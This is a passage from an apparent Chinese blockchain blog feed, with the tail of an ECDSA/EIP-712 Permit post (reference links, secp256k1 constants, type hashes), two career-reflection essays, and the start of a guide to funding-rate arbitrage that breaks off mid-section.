href="https://www.nervos.org/knowledge-base/understanding_ECDSA_(explainCKBot)">ECDSA Explained: The Backbone of Digital Signature Security - Nervos</a></li><li><a href="https://www.cyfrin.io/blog/elliptic-curve-digital-signature-algorithm-and-signatures">What Is Elliptic Curve Digital Signature Algorithm? - Cyfrin</a></li><li><a href="https://kakaroto.ca/2012/01/how-the-ecdsa-algorithm-works/">How the ECDSA algorithm works - KaKaRoTo’s Blog</a></li></ul><h3 id="ecrecover-与公钥恢复">ecrecover 与公钥恢复</h3><ul><li><a href="https://coders-errand.com/ecrecover-signature-verification-ethereum/">ECRecover and Signature Verification in Ethereum - Coder’s Errand</a></li><li><a href="https://medium.com/asecuritysite-when-bob-met-alice/can-we-recover-the-public-key-from-an-ecdsa-signature-7af4b56a8a0f">Can We Recover The Public Key from an ECDSA Signature? - Prof Bill Buchanan</a></li><li><a href="https://cryptobook.nakov.com/digital-signatures/ecdsa-sign-verify-examples">ECDSA: Sign / Verify - Examples - Practical Cryptography</a></li></ul><h3 id="Permit-与-EIP-712-实现">Permit 与 EIP-712 实现</h3><ul><li><a href="https://dev.to/truongpx396/understanding-ethereum-ecdsa-eip-712-and-its-role-in-permit-functionality-26ll">Understanding Ethereum Off-Chain Signing, ECDSA, EIP-712 - Dev.to</a></li><li><a href="https://medium.com/@yaoshiang/ethereums-ecrecover-openzeppelin-s-ecdsa-and-web3-s-sign-8ff8d16595e1">Ethereum’s ecrecover(), OpenZeppelin’s ECDSA, and web3’s sign() - Medium</a></li><li><a href="https://soliditydeveloper.com/ecrecover">What is ecrecover in Solidity? - Solidity Developer</a></li></ul><h3 id="安全性研究">安全性研究</h3><ul><li><a href="https://hacken.io/insights/ecdsa/">Key Discovery in ECDSA: Understanding Implementation - Hacken</a> - k 值重用攻击</li><li><a href="https://eprint.iacr.org/2024/2018.pdf">On the BUFF Security of ECDSA with Key Recovery - IACR ePrint</a></li></ul><h3 id="代码实现参考">代码实现参考</h3><ul><li><a href="https://github.com/Uniswap/permit2">Uniswap Permit2 - GitHub</a></li><li><a href="https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/cryptography/ECDSA.sol">OpenZeppelin ECDSA Library - GitHub</a></li><li><a href="https://github.com/ethereum/py_pairing/blob/master/py_ecc/secp256k1/secp256k1.py">py_ecc secp256k1 - Ethereum Foundation</a></li></ul><hr><h2 id="附录：常用常量">附录：常用常量</h2><h3 id="secp256k1-参数">secp256k1 参数</h3><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">p  = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEFFFFFC2F</span><br><span class="line">n  = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141</span><br><span class="line">Gx = 0x79BE667EF9DCBBAC55A06295CE870B07029BFCDB2DCE28D959F2815B16F81798</span><br><span class="line">Gy = 0x483ADA7726A3C4655DA4FBFC0E1108A8FD17B448A68554199C47D08FFB10D4B8</span><br></pre></td></tr></table></figure><h3 id="EIP-712-类型哈希">EIP-712 类型哈希</h3><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">// Domain type hash</span><br><span class="line">bytes32 constant EIP712DOMAIN_TYPEHASH = keccak256(</span><br><span class="line">    &quot;EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)&quot;</span><br><span class="line">);</span><br><span class="line"></span><br><span class="line">// Permit type hash</span><br><span class="line">bytes32 constant PERMIT_TYPEHASH = keccak256(</span><br><span class="line">    &quot;Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)&quot;</span><br><span class="line">);</span><br></pre></td></tr></table></figure>]]>
    </content>
    <id>https://www.blog-blockchain.xyz/defi/permit-ecdsa-cryptography/</id>
    <link href="https://www.blog-blockchain.xyz/defi/permit-ecdsa-cryptography/"/>
    <published>2026-01-09T02:00:00.000Z</published>
    <summary>深入解析 EIP-712/EIP-2612 Permit 机制的工作原理，以及底层 ECDSA 椭圆曲线签名的密码学基础，涵盖 secp256k1 曲线、签名验证流程、ecrecover 原理及安全性分析。</summary>
    <title>ERC-20 Permit 与 ECDSA 密码学原理</title>
    <updated>2026-02-19T16:18:11.462Z</updated>
  </entry>
  <entry>
    <author>
      <name>Michael L</name>
    </author>
    <category term="职场思考" scheme="https://www.blog-blockchain.xyz/categories/%E8%81%8C%E5%9C%BA%E6%80%9D%E8%80%83/"/>
    <category term="职场认知" scheme="https://www.blog-blockchain.xyz/tags/%E8%81%8C%E5%9C%BA%E8%AE%A4%E7%9F%A5/"/>
    <category term="职业发展" scheme="https://www.blog-blockchain.xyz/tags/%E8%81%8C%E4%B8%9A%E5%8F%91%E5%B1%95/"/>
    <category term="Career" scheme="https://www.blog-blockchain.xyz/tags/Career/"/>
    <content>
      <![CDATA[<h2 id="一、表演型工作的出现：组织结构的必然产物">一、表演型工作的出现：组织结构的必然产物</h2><p>在进入职场一段时间后，我开始逐渐接触并理解所谓的「抢功甩锅」。这并非个别人的道德问题，而是组织结构下的自然结果：在打工体系中，个人行为是可替代的，风险可以被系统吸收。合作中如果有人不做事，系统会自动调配他人补位，于是责任被稀释，甩锅便成为一种理性选择。</p><p>在权责分离的结构下，收益与惩罚并不对称：事情做好了，收益归属于公司；事情搞砸了，责任却往往由个人承担。评价体系关注的也未必是问题是否真正解决，而是是否完成了流程、是否对齐了预期。这使得工作逐渐呈现出一种&quot;表演性&quot;：重要的不是结果本身，而是被看见的姿态。</p><p>相比之下，创业或科研呈现出完全不同的反馈机制。每天的亏损是真实存在的，问题如果不被解决，就不会自行消失。责任无法转移，失败无法被兜底，压力也因此具备了现实重量。</p><p>进一步地，我开始感受到一种结构性的意义感缺失。在大型组织中，个体更像是系统中的毛细血管，功能明确却高度局部。离钱越近、离核心业务越近，价值感和真实感就越强；而当岗位逐渐远离核心决策和直接收益，工作的意义便开始变得抽象而虚幻。我的位置，恰恰是在不断远离核心的方向上移动。</p><h2 id="二、安全岗位的困境：价值不可见与飞轮难闭合">二、安全岗位的困境：价值不可见与飞轮难闭合</h2><p>网络安全岗位往往会在一段时间后逐渐退化为客服岗位，或者被整合进 DevSecOps 的运维体系。当系统初步构建完成，检测器不可避免地产生误报和漏报，安全问题便开始以工单的形式回流：客服或开发不断申诉「这不是某类风险，帮我加白名单」。此时，安全岗位的主要工作逐渐演化为处理工单、维护白名单和解释规则。</p><p>从结果看，系统&quot;运行正常&quot;，但这恰恰意味着它正在失去重要性。安全系统的成功，并不会像业务系统那样被感知为增长，而更像是一种背景噪音：<strong>没有事故发生，本身并不会被视为价值创造。</strong></p><p>理想状态下，安全系统也希望形成数据 → 策略 → 算法 → 数据的迭代飞轮。但现实是，这种飞轮很难闭合。与搜广推不同，安全改进缺乏量级支撑：在万亿级流水中，万分之一的提升可以被直接转化为收益；而在风控和安全领域，大多数改进既难以量化，也难以被业务感知。同时，黑产的策略是持续演化的，对抗带来的不是收益放大，而是规则复杂度和心智负担的累积。</p><p>在这样的生态位中，策略优化本身并非没有技术挑战，但它缺乏长期正反馈。我见过不少同事对改进策略充满热情，但岗位结构决定了，<strong>更聪明、对回报更敏感的人，往往会率先离开这一领域。</strong></p><p>我也思考过可能的破局方式。如果算法改进本身难以形成飞轮，那么或许可以转向工作流层面的优化：减少客服的 24 小时值守成本，自动化安全排查流程，用大模型和数据节省安全团队的时间。然而这一思路很快又遭遇&quot;大公司病&quot;的现实约束：内部效率的提升并不会直接映射到 TL 的绩效指标，节省时间本身缺乏激励。对组织而言，增长才是可被度量和奖励的目标，而维护和稳定，只是默认前提。</p><h2 id="三、世界的不均匀性：你站在对数曲线还是指数曲线上">三、世界的不均匀性：你站在对数曲线还是指数曲线上</h2><p>世界是不均匀的，这是最基本、也最重要的过滤法则。现实更像一个连续可导的函数，不同位置对应着不同的走势和价值密度。很多讨论停留在「选择大于努力」这样的口号层面，却忽略了一个更关键的问题：<strong>你站在哪一条曲线上。</strong></p><p>在一条给定的函数曲线上，你付出的努力（<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord">Δ</span><span class="mord mathnormal">x</span></span></span></span>）所能换取的回报（<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8778em;vertical-align:-0.1944em;"></span><span class="mord">Δ</span><span class="mord mathnormal" style="margin-right:0.03588em;">y</span></span></span></span>），在局部其实是大致确定的。安全岗位可以被视为一条 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.10764em;">f</span><span class="mopen">(</span><span class="mord mathnormal">x</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mop">lo<span style="margin-right:0.01389em;">g</span></span><span class="mopen">(</span><span class="mord mathnormal">x</span><span class="mclose">)</span></span></span></span> 的曲线：越往后，增长越平缓。即使你不断增加投入，把 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">x</span></span></span></span> 推向无穷大，<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">y</span></span></span></span> 也只会缓慢上升。你无法通过在 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.10764em;">f</span><span class="mopen">(</span><span class="mord mathnormal">x</span><span class="mclose">)</span></span></span></span> 上狂奔，达到另一条 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">g</span><span class="mopen">(</span><span class="mord mathnormal">x</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6644em;"></span><span class="mord"><span class="mord mathnormal">e</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.6644em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">x</span></span></span></span></span></span></span></span></span></span></span>（指数增长）曲线的高度。</p><p>因此问题不在于是否努力，而在于：<strong>努力只能放大当前函数的特性，而无法改变函数本身。</strong></p><p>「随遇而安」「干一行爱一行」并非单纯的个人修养，而更像是系统为了维持自身运转而植入给零件的思想钢印。对于系统设计者而言，稳定意味着低熵、可预测、低协调成本。系统自然希望你在 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6151em;"></span><span class="mord mathnormal">t</span></span></span></span> 时刻和 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6984em;vertical-align:-0.0833em;"></span><span class="mord mathnormal">t</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1</span></span></span></span> 时刻处于同一位置，因为这样它的预测成本最低。</p><p>如果每个零件都试图脱离原有区间，向高势能区域迁移，系统就会失稳。但这并不意味着零件本身获得了更高的价值，只是系统得以继续运行。</p><h2 id="四、系统的-抗体-机制：为什么聪明人反而被排斥">四、系统的&quot;抗体&quot;机制：为什么聪明人反而被排斥</h2><p>在上述背景下，&quot;更聪明的人率先离开&quot;并非偶然，而可以被视为系统的一种免疫反应。大公司的运维、合规与安全岗位，本身并不需要极其聪明、极具野心、持续试图重构流程的人。这类更接近 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6644em;"></span><span class="mord"><span class="mord mathnormal">e</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.6644em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">x</span></span></span></span></span></span></span></span></span></span></span> 型的人才，留在以 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mop">lo<span style="margin-right:0.01389em;">g</span></span><span class="mopen">(</span><span class="mord mathnormal">x</span><span class="mclose">)</span></span></span></span> 为增长函数的系统中，不仅会感到强烈痛苦，还可能因为不断尝试优化与改革，而破坏系统赖以生存的稳定性。</p><p>因此，系统并不会主动适配这类人，而是通过低效、琐碎和高摩擦的工作内容，将其逐渐过滤（Filter Out）。最终留下的，往往是那些愿意以稳定换取确定性、能够长期忍受缓慢增长的人。</p><p>从这个角度看，个体的痛苦并非失败信号，而更像是一种被系统识别为&quot;异物&quot;的排异反应。<strong>被排斥，反而说明你并不属于这套系统的最优解。</strong></p><h2 id="五、职业跃迁的代价：不连续性与必然的回撤">五、职业跃迁的代价：不连续性与必然的回撤</h2><p>最后，一个常被忽略却极其关键的事实是：从 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mop">lo<span style="margin-right:0.01389em;">g</span></span><span class="mopen">(</span><span class="mord mathnormal">x</span><span class="mclose">)</span></span></span></span> 跳跃到 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6644em;"></span><span class="mord"><span class="mord mathnormal">e</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.6644em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">x</span></span></span></span></span></span></span></span></span></span></span>，并不是连续的过程。</p><p>这种跃迁往往意味着断裂（Discontinuous）。中间不存在平滑过渡的路径，几乎必然伴随着显著的回撤（Drawdown）。创业初期，收入可能直接归零；转向量化、核心研发或高杠杆岗位，往往需要降薪重来，甚至承受极高的淘汰概率。</p><p>因此，大多数人选择留在 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mop">lo<span style="margin-right:0.01389em;">g</span></span><span class="mopen">(</span><span class="mord mathnormal">x</span><span class="mclose">)</span></span></span></span> 曲线之上，并非因为他们不知道 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6644em;"></span><span class="mord"><span class="mord mathnormal">e</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.6644em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">x</span></span></span></span></span></span></span></span></span></span></span> 的潜在回报，而是因为他们无法承受在 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">x</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">0</span></span></span></span> 附近重新开始的风险与不确定性。对稳定性的依赖，本身就是对断裂成本的一种理性规避。</p><h2 id="结语">结语</h2><p>系统通过稳定性筛选人，而不是通过潜力奖励人；真正的跃迁，几乎总是以不连续和回撤为代价。</p>]]>
    </content>
    <id>https://www.blog-blockchain.xyz/career/structural-thoughts-after-one-and-half-years-at-work/</id>
    <link href="https://www.blog-blockchain.xyz/career/structural-thoughts-after-one-and-half-years-at-work/"/>
    <published>2025-12-13T16:00:00.000Z</published>
    <summary>用数学函数模型解析职业增长困境：为什么安全岗位陷入对数增长困局？如何理解从log(x)到eˣ的职业跃迁代价？工作1.5年后的系统性职场认知。</summary>
    <title>职业增长的数学模型：从log(x)到eˣ的跃迁代价</title>
    <updated>2025-12-13T16:00:00.000Z</updated>
  </entry>
  <entry>
    <author>
      <name>Michael L</name>
    </author>
    <category term="career" scheme="https://www.blog-blockchain.xyz/categories/career/"/>
    <category term="思考" scheme="https://www.blog-blockchain.xyz/categories/career/%E6%80%9D%E8%80%83/"/>
    <category term="crypto" scheme="https://www.blog-blockchain.xyz/tags/crypto/"/>
    <category term="scholar-mode" scheme="https://www.blog-blockchain.xyz/tags/scholar-mode/"/>
    <category term="execution" scheme="https://www.blog-blockchain.xyz/tags/execution/"/>
    <category term="entrepreneurship" scheme="https://www.blog-blockchain.xyz/tags/entrepreneurship/"/>
    <category term="mindset-shift" scheme="https://www.blog-blockchain.xyz/tags/mindset-shift/"/>
    <category term="first-principles" scheme="https://www.blog-blockchain.xyz/tags/first-principles/"/>
    <content>
      <![CDATA[<p>我最近在看一些「聪明钱」怎么思考，研究他们的哲学和方法论。</p><p>我发现，他们分析问题的角度，最终都回归到了「注意力和执行力」上：你看对地方了吗？你找到那个真正能做出决策的依据了吗？然后，你真的去执行了吗？你是在控制情绪，还是在被情绪控制？</p><p>当我开始用这个框架去看Crypto圈子时，一些现象就变得非常清晰。我看到一些新接触这个领域的人，他们甚至可能对EVM、Solana的底层原理一知半解，但他们就专注在套利这一件事情上。他们不懂理论，但他们「看对」了市场摩擦这个点，并且用强大的「执行力」建立起系统。</p><p>他们也让我意识到这类生意的本质：机会不是时时刻刻都有的。你必须「候着」，做好万全的准备。当那个潮水（机会）来临时，你才能大把地印钱。</p><p>这让我开始反思我自己的做事方式。我接触得更早，我花无数时间去拆解Uniswap V3的数学公式，去理解那些复杂的tick和流动性聚合。我试图从「第一性原理」出发去「建立系统」。我「看」的地方不可谓不深，但我的「执行」却和「结果」脱钩了。结果是，我实际上大部分都还没有怎么赚钱。</p><p>这背后，是两种做事思维和方法论的根本区别。</p><p>第一种，是「学者」模式，也是我的惯性模式。它的思维习惯是自下而上的。我痴迷于「第一性原理」，必须从根基开始，构建一个完备的知识体系。它的方法论是完备性驱动，在行动前，我试图掌握所有的「面」，才能安心地去实现那个「点」。这种模式在「迭代和优化」一个已知系统时非常强大，能让系统更健壮、更完美。</p><p>但我的困境是，我把它误用在了「启动阶段」。我不是没有在动手，而是在动手的方式上，就陷入了「学者」的惯性。我没有想着先用最快的方式搭出一个能跑的v1，而是过早地考虑了「可拓展性」。我就像刚砌好了角落的一块砖，就开始思考整座大厦的布局。这种「过度设计」的执行方式，和我「启动」这个阶段的目标，是完全不匹配的。</p><p>第二种，是「猎人」模式，是套利者们的模式。它的思维习惯是自上而下，目标驱动，高度专注。他们不关心完整的「世界地图」，只关心通往「猎物」的最短路径。它的方法论是最小可行性。他们用一个粗糙的v1去「开第一枪」，用行动来获取最真实的「内部数据」。他们交付的v1可能很粗糙，但它是一个锚点，一个可以迭代的实体。这种模式在「启动阶段」和「抢占机会」时极其高效。我的反思是：他们一直在「先做再说」。他们用行动验证想法，而我用思考验证想法。</p><p>这种「学者」模式，也让我联系到几年前做科研时的困境。当时我做一个项目，花了大量情绪和精力，压力非常大。我想把事情做好，但导师一直说我「做得不够快」，或者「没达到要求」。现在回想，我才意识到那个荒诞的困境在哪里：<strong>他自己都不知道想要什么。</strong></p><p>他没有一个具体的需求。而我，这个「学者」，却在「模糊的需求」下去疯狂地「打地基」。我试图用完美的逻辑和全面的调研，去倒推出他那个根本不存在的「真实想法」。结果就是灾难性的。我做的东西，在他看来「抓不住重点，做得太全太散」，最后就像一坨垃圾。我的深度思考，在「他者」的视角里，成了「不靠谱」和「拖延」的代价。</p><p>这就是「学者」模式的诅咒：当你在一个目标模糊、需要快速迭代的环境中，你越是执着于「第一性原理」，你可能就「做得越多，错得越多」。</p><p>这也导致了我的另一个行为模式：「小马过河」。这是朋友们给我贴的标签，我觉得很准。因为我的「学者」本能告诉我，必须掌握完整的地图，所以我一直在问。我问这个怎样，那个怎样，试图通过收集别人的反馈，来拼凑出一张「绝对安全」的地图，来指导我是否要「过河」。我陷入了「低行动力陷阱」里的「反刍」。我总在思考，总在问，却忘了我首先需要做的，可能只是亲自下水，去试一下水的深浅。我那个简陋机器人第一次运行的日志、它亏掉的第一个0.1 SOL——这本该是我自己的、最宝贵的「内部数据」。但我却倾向于用别人的「外部数据」来替代它。</p><p>这个「注意力和执行力」的框架，也让我看清了我的新同事。他比我晚一年加入，但做事非常干脆。我自认在方案设计上考虑得远比他深入。但现实是，他总能更快地拿到结果。因为他就是「猎人」模式，他聚焦于「执行」，而我则陷在「学者」的内耗里。</p><p>终于想明白了。</p><p>我一直以来的困路，是混淆了两种完全不同的游戏。我痴迷于当一个「学者」或「架构师」，想去设计完备的、可拓展的「分布式系统」。但 <strong>「架构师」的价值，是优化已验证的商业模式</strong>——当生意被证明能赚钱，才轮到你去搭建更牛的炼金厂，去处理「规模化」的问题。你在「优化」体系，但吃不到最大的利润。</p><p>而<strong>超额收益</strong>，真正的「暴富」，来自「猎人」模式——第一批冲进「西部荒野」的人。他们工具简陋，但行动果断，能拿走最大、最容易的那块利润。等「架构师」们被请来规划流水线时，「超额收益」时代早就结束了。</p><p><strong>这就是我所有困惑的根源：我一直试图在「淘金」的游戏里，扮演「炼金厂架构师」。</strong></p><p>回看我的科研项目——导师需求都没验证，我就在「架构」完美系统。回看Crypto套利——典型的「荒野淘金」，我却在研究V3数学（设计更完美的铲车），而不是先用v1机器人「占领金矿」。我的新同事交付能用的v1，而我在v0阶段就陷入规模化思考。</p><p><strong>看的太多，想的太深，做的太慢。</strong></p><p>「学者」的能力——拆解协议、追求第一性原理——没有错。错的是用「架构师」思维，去「荒野」里和「猎人」竞争。</p><p>关键不是「模式切换」，而是清醒地认识到：<strong>你在玩哪种游戏？</strong></p><p>在需要「开创」和「破局」的领域，追求「架构」本身就是错误的。必须接受不完美的起点，用「猎人」的速度，去拿「超额收益」。</p><p><strong>先淘到金子，再考虑建厂。</strong></p>]]>
    </content>
    <id>https://www.blog-blockchain.xyz/career/find-gold-then-build-factory/</id>
    <link href="https://www.blog-blockchain.xyz/career/find-gold-then-build-factory/"/>
    <published>2025-10-27T17:11:20.000Z</published>
    <summary>Crypto套利者用粗糙v1占领金矿，而我在研究完美架构。看的太多，想的太深，做的太慢——这是「学者模式」转型创业时最容易掉进的陷阱。超额收益属于第一批冲进荒野的猎人，不属于设计最完美铲子的人。</summary>
    <title>困境：从「想明白」到「做出来」的鸿沟</title>
    <updated>2026-02-19T16:18:01.140Z</updated>
  </entry>
  <entry>
    <author>
      <name>Michael L</name>
    </author>
    <category term="finance" scheme="https://www.blog-blockchain.xyz/categories/finance/"/>
    <category term="trading-strategy" scheme="https://www.blog-blockchain.xyz/categories/finance/trading-strategy/"/>
    <category term="funding-rate" scheme="https://www.blog-blockchain.xyz/tags/funding-rate/"/>
    <category term="arbitrage" scheme="https://www.blog-blockchain.xyz/tags/arbitrage/"/>
    <category term="perpetual-futures" scheme="https://www.blog-blockchain.xyz/tags/perpetual-futures/"/>
    <content>
      <![CDATA[<blockquote><p>“币圈的韭菜，从注册交易所，到输光所有钱离场，只需要十四天。而我们要做的，是从这十四天的生命周期中，赚取确定性的钱。” —— 套利者的哲学</p></blockquote><h2 id="0-套利框架速览">0. 套利框架速览</h2><h3 id="0-1-为什么有人愿意付费">0.1 为什么有人愿意付费</h3><ul><li>永续合约没有到期日，交易所用资金费率来拉回价格锚定；当多头过多时，多头向空头付费。</li><li>投机者的杠杆饥渴、FOMO 与短视折现，让他们愿意把“价格稳定性租金”交给对手盘。</li><li>这笔租金就是套利者可以锁定的现金流，本质是对冲市场情绪的回报。</li></ul><h3 id="0-2-套利者到底提供什么">0.2 套利者到底提供什么</h3><ul><li><strong>价格稳定器</strong>：用现货多 + 永续空的Delta中性组合，填补多空失衡。</li><li><strong>流动性供给</strong>：在行情极端时接盘/砍仓，让市场恢复撮合效率。</li><li><strong>风险转移者</strong>：承担技术、操作、对手方风险，换取资金费率与价差收益。</li></ul><p>三件事串起来：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">情绪失衡 → 费率偏离 → 套利者建仓 → 价格收敛 → 收取费率</span><br></pre></td></tr></table></figure><h3 id="0-3-为何机会尚未消失">0.3 为何机会尚未消失</h3><ul><li><strong>结构扩张</strong>：新币种、合成资产、统一保证金不断推出，给套利者新的标的与工具。</li><li><strong>人性惯性</strong>：过度自信、羊群效应、贪婪恐惧周期不会消失，失衡周期性重演。</li><li><strong>门槛差异</strong>：执行需要多交易所协同、自动化系统和风控纪律，中小交易者仍难以完整复制。</li></ul><p>理解这三点，后续章节讨论的策略、风控、架构才有落脚点。</p><h2 id="1-资金费率机制与策略核心">1. 资金费率机制与策略核心</h2><h3 id="1-1-费率机制的经济学本质">1.1 费率机制的经济学本质</h3><p>资金费率通过&quot;皮筋效应&quot;实现价格锚定：杠杆需求失衡 → 费率调整 → 套利介入 → 价格收敛。核心是将市场非理性情绪转化为可量化的现金流收益。</p><p><strong>关键参数：</strong></p><ul><li>费率上限：币安±0.75%，OKX±0.375%/8h</li><li>历史区间：2021牛市&gt;0.1%，2022熊市转负，2024重新走高</li><li>情绪指标：高正费率=贪婪，负费率=恐慌</li></ul><h3 id="1-2-实际案例：USDE如何利用资金费率机制">1.2 实际案例：USDE如何利用资金费率机制</h3><p>理解资金费率最好的方式是看一个真实应用案例：Ethena的USDE稳定币。</p><p><strong>什么是USDE？</strong></p><p>USDE是一种合成美元稳定币，它的核心机制就是资金费率套利：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">传统稳定币（USDT/USDC）：</span><br><span class="line">├─ 机制：1美元法币储备 = 1个稳定币</span><br><span class="line">└─ 收益：0%（只是存储工具）</span><br><span class="line"></span><br><span class="line">USDE（合成稳定币）：</span><br><span class="line">├─ 机制：Delta中性对冲（ETH现货 + ETH期货空头）</span><br><span class="line">└─ 收益：约19%年化（质押收益 + 资金费率）</span><br></pre></td></tr></table></figure><p><strong>USDE的运作原理：</strong></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">Ethena协议做的事：</span><br><span class="line">1. 用户存入100 USDT</span><br><span class="line">2. 协议买入100美元的ETH现货</span><br><span class="line">3. 同时做空100美元的ETH期货</span><br><span class="line">4. 价格涨跌时，现货和期货盈亏相抵 → 保持1美元价值</span><br><span class="line">5. 收取资金费率 + ETH质押收益 → 分给USDE持有者</span><br><span class="line"></span><br><span class="line">本质：把资金费率套利产品化</span><br></pre></td></tr></table></figure><p><strong>为什么能给19%收益？</strong></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">收益来源拆解：</span><br><span class="line">├─ ETH质押收益：约3-5%年化</span><br><span class="line">├─ 资金费率收入：约10-15%年化（历史平均）</span><br><span class="line">└─ 总收益：13-20%年化</span><br><span class="line"></span><br><span class="line">风险承担：</span><br><span class="line">├─ Delta对冲了价格风险</span><br><span class="line">├─ 但承担系统性风险（极端行情、交易所故障）</span><br><span class="line">└─ 用户获得的19%是&quot;风险补偿&quot;</span><br></pre></td></tr></table></figure><p><strong>这个案例说明什么？</strong></p><ol><li><p><strong>资金费率有真实价值</strong></p><ul><li>否则Ethena不可能给用户19%收益</li><li>这是从投机者手中收取的&quot;稳定性租金&quot;</li></ul></li><li><p><strong>可以被产品化</strong></p><ul><li>不需要自己写代码</li><li>协议帮你做Delta对冲和费率收取</li><li>但你需要承担协议风险</li></ul></li><li><p><strong>套利思维的延伸</strong></p><ul><li>个人可以自己做：灵活、无协议风险</li><li>产品化更便捷：省心、但有智能合约风险</li></ul></li></ol><p>后续章节会详细讲解如何自己实现类似USDE的套利策略。</p><h3 id="1-3-Delta中性策略优化">1.3 Delta中性策略优化</h3><p><strong>核心公式：</strong></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">ΔPortfolio = 现货Delta + 期货Delta = 0</span><br><span class="line">收益 = 资金费率 × 名义价值 - 交易成本</span><br></pre></td></tr></table></figure><p><strong>关键优化：</strong></p><ul><li><strong>价差修正</strong>：basis_adjustment ∈ [-0.5%, +0.5%]</li><li><strong>混合保证金</strong>：现货作保证金，1倍开空，资金利用率→100%</li><li><strong>成本控制</strong>：Maker费率，长期持仓摊薄开平仓成本</li></ul><h3 id="1-5-三层递进的思维模型：从旁观者到套利者">1.5 三层递进的思维模型：从旁观者到套利者</h3><p>理解资金费率套利需要经历三个认知阶段，每个阶段回答一个核心问题：</p><p><strong>Layer 1: 